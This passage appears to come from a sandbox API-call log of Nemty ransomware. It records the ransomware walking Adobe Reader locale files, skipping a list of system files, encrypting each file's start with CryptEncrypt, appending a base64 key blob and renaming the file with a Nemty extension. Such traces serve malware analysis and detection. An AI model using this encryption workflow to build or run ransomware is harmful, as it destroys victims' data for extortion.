10.0\\Reader\\Locale\\sk_SK\\PPKLite.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ppklite.sky._nemty_kgobjgd_")) returned 1 [0183.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.545] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8077d300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.SKY", cAlternateFileName="")) returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2=".") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="..") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="...") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="windows") returned -1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="rsa") returned -1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="NTDETECT.COM") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="ntldr") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="MSDOS.SYS") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="IO.SYS") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="boot.ini") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="boot.ini") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="ntuser.dat") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="desktop.ini") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="CONFIG.SYS") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="RECYCLER") returned -1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="bootmgr") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="programdata") returned 1 [0183.545] lstrcmpiW (lpString1="RdLang32.SKY", lpString2="appdata") returned 1 [0183.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.546] Sleep (dwMilliseconds=0x5) [0183.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x210cb6f0, dwHighDateTime=0x1d561e8)) [0183.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x210cb6f0, dwHighDateTime=0x1d561e8)) [0183.547] GetLastError () returned 0x0 [0183.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.547] GetLastError () returned 0x0 [0183.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.548] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.548] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.548] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.548] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="DZoH6sTRABjg0jS+8eraE2bmXrfsJ1IBn2hDnlIT49mSlBRlLHfnWEcRQBzA8YCA\r\n5w8TctlIhXs6qepj9tCTPSj7bufxuf9X1NyHVKS6OiSZQLNolPjnranXpFYDWoDQ\r\nWTPTRQ+iRbiMKn08eT4GZCD6IyNLzXebCFq0Xp0DHBLaKoIGSIOenszRJ+/zIw1M\r\npgN1hdNveFnFzt/WzQeTo/Jws5epJB83aqlPW5Y1HcXVzBWrFvS3ZvY4En9h4/Ik\r\nUM6DzltInNSGuyBgYor2uJf1FSBrbsge9Hb8tNo3O0oITdRl1dWnk4ZKSKGeLCJr\r\nbOQewrNqQhsFBXf2GoigOQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\RdLang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\rdlang32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.549] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1344512) returned 1 [0183.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.549] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.549] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.559] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.559] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.559] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1344512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148400 [0183.559] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.561] CloseHandle (hObject=0x2e8) returned 1 [0183.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.561] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\RdLang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\rdlang32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\RdLang32.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\rdlang32.sky._nemty_kgobjgd_")) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.562] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.SKY", cAlternateFileName="READOU~1.SKY")) returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2=".") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="..") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="...") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="windows") returned -1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="rsa") returned -1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="NTDETECT.COM") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="ntldr") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="MSDOS.SYS") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="IO.SYS") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="boot.ini") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="boot.ini") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="ntuser.dat") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="desktop.ini") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="CONFIG.SYS") returned 1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="RECYCLER") returned -1 [0183.562] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.563] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="bootmgr") returned 1 [0183.563] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="programdata") returned 1 [0183.563] lstrcmpiW (lpString1="ReadOutLoud.SKY", lpString2="appdata") returned 1 [0183.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SKY", lpUsedDefaultChar=0x0) returned 15 [0183.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SKY", lpUsedDefaultChar=0x0) returned 15 [0183.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SKY", lpUsedDefaultChar=0x0) returned 15 [0183.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0183.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SKY", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SKY", lpUsedDefaultChar=0x0) returned 15 [0183.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.563] Sleep (dwMilliseconds=0x5) [0183.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x211179b0, dwHighDateTime=0x1d561e8)) [0183.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x211179b0, dwHighDateTime=0x1d561e8)) [0183.581] GetLastError () returned 0x0 [0183.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.581] GetLastError () returned 0x0 [0183.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.581] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.581] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.582] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.582] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0/v/EqVUKODlJPkN2ohAlnUlvZe7PLEQlk+7ovkk/UDXzbzFV2CeC8bnZo2LIIaS\r\npkHkhJQp66Yy1mfJzd1aBmjlDWUgNN/AcP1lB3evcpt+SjBaCvgO/4YWRL4U4vWm\r\nfBI92xN3ifvz4cIJsSr2rFFr69I61Xyr2NURI+WrWZf0ap/UxZLDDNPqsGE3Tp/g\r\nWAHn1Vcxhuuvhpi2KmqvBiMvVT1lfCm91lFWdIVr7G4rmiwgtskvB2BxI+lqbo0y\r\nwlzE4St41fsOSq7iJVXvKVseWZIgQ7aaWkMVYxEMfUlKbspILphe7KXTHJyu+t5O\r\nmK7TVUhe8ikagSNf2iizsw==\r\n", pcchString=0x653e5dc) returned 1 [0183.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\ReadOutLoud.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\readoutloud.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.582] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0183.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0183.582] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.582] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0183.585] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.585] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0183.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.585] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0183.585] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.585] CloseHandle (hObject=0x2e8) returned 1 [0183.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | 